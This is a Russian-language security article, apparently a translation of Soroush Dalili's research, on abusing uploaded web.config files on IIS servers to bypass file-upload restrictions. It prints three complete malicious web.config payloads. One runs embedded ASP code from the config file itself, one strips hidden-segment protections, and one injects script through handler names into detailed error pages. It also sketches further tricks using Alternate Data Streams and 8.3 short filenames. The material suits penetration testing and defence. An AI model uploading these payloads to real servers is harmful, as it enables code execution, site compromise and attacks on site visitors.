26.09.2014

Трюки и фокусы с файлом web.config

image

В файле web.config хранятся все основные настройки сервера IIS7 (и более поздних версий). Он играет такую же роль, как и файл .htaccess для сервера Apache. Существует широко известная техника, связанная с загрузкой .htaccess, для обхода ограничений на загружаемые файлы.

Автор: Soroush Dalili

В файле web.config хранятся все основные настройки сервера IIS7 (и более поздних версий). Он играет такую же роль, как и файл .htaccess для сервера Apache. Существует широко известная техника, связанная с загрузкой .htaccess, для обхода ограничений на загружаемые файлы. Некоторые интересные примеры можно найти в репозитарии GitHub: https://github.com/wireghoul/htshells.

На серверах с IIS7 (и выше) также возможно осуществление подобных трюков путем загрузки или создания файла web.config. С небольшими изменениями некоторые из этих техник могут быть применимы и к IIS6. Далее будет продемонстрировано несколько версий web.config для обхода ограничений в файловых загрузчиках.

Запуск web.config как ASP-файла

Некоторые IIS-сервера поддерживают ASP-файлы, однако загрузить сам файл с расширением .ASP не представляется возможным. В этом случае можно использовать web.config для запуска ASP-кода:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="
*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Удаление скрытых сегментов

Иногда загрузчики фалов используют скрытые сегменты (Hidden Segments) из IIS Request Filtering, например, директории APP_Data и App_GlobalResources, закрывая к загруженным файлам прямой доступ.

Однако этот метод легко обходится путем удаления скрытых сегментов при помощи следующей версии web.config:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="bin" />
<remove segment="App_code" />
<remove segment="App_GlobalResources" />
<remove segment="App_LocalResources" />
<remove segment="App_Browsers" />
<remove segment="App_WebReferences" />
<remove segment="App_Data" />
<!--Other IIS hidden segments can be listed here -->
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>

Теперь загруженные файлы доступны напрямую.

Создание XSS уязвимости на стандартной странице об ошибках

Часто злоумышленники внедряют в сайт XSS-уязвимость, используя функцию загрузки файлов.

Имя обработчика стандартной страницы об ошибках уязвимо к межсайтовому скриптингу. Подобную технику можно использовать, если загрузить web.config, содержащий некорректное имя обработчика (не работает в IIS 6 и ниже):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<!-- XSS by using *.config -->
<add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;"
path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo"
resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
<!-- XSS by using *.test -->
<add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
<httpErrors existingResponse="Replace" errorMode="Detailed" />
</system.webServer>
</configuration>

Другие техники

Изменение или создание web.config может привести к серьезным проблемам с безопасностью. В дополнении к вышеуказанным техникам, использование других версий файла web.config может привести к другим нежелательным последствиям. Некоторые примеры я привел ниже (соответствующая версия web.config легко находится через поисковую систему):

Повторное разрешение .Net расширений: когда .Net расширения (например, .ASPX) заблокированы в папке, в которую загружаются файлы.

Использование разрешенных расширений для запуска файлов с другим расширением: когда использование расширений ASP и PHP в целом разрешено на сервере, но запрещено в папке, в которую загружаются файлы.

Злоупотребление страницами об ошибках или правилами перезаписи URL’ов для перенаправления пользователей или взлома сайта: когда загруженные файлы (например, PDF или JavaScript) доступны пользователям напрямую.

Манипуляция MIME-типами загружаемых файлов: когда загрузка HTML (или любых других) файлов запрещена или когда таблица MIME-типов содержит лишь определенные расширения.

Увеличение количества жертв при помощи атак со стороны клиента

Файлы, которые уже загружены на сайт и используются в различных местах, могут быть изменены при помощи файла web.config. В результате этого злоумышленник легко может увеличить число жертв, используя, например, XSS-уязвимости или атаки типа cross-site data hijacking.

Дополнительные трюки

Иногда невозможно загрузить или создать web.config напрямую. В этом случае можно воспользоваться функцией копирования, перемещения или переименования файлов.

Кроме того, функция Alternate Data Stream весьма полезна при решении этой задачи. Например, при помощи «web.config::$DATA» можно создать файл web.config и поместить в него содержимое загруженных файлов, или при помощи «web.config:.txt» создать пустой файл; и когда web.config доступен в директории для загрузки можно указать на этот файл, используя сокращенные имена файлов («WEB~1.con») (Windows 8.3 filename) или функцию PHP на IIS-сервере («web<<»).

comments powered by Disqus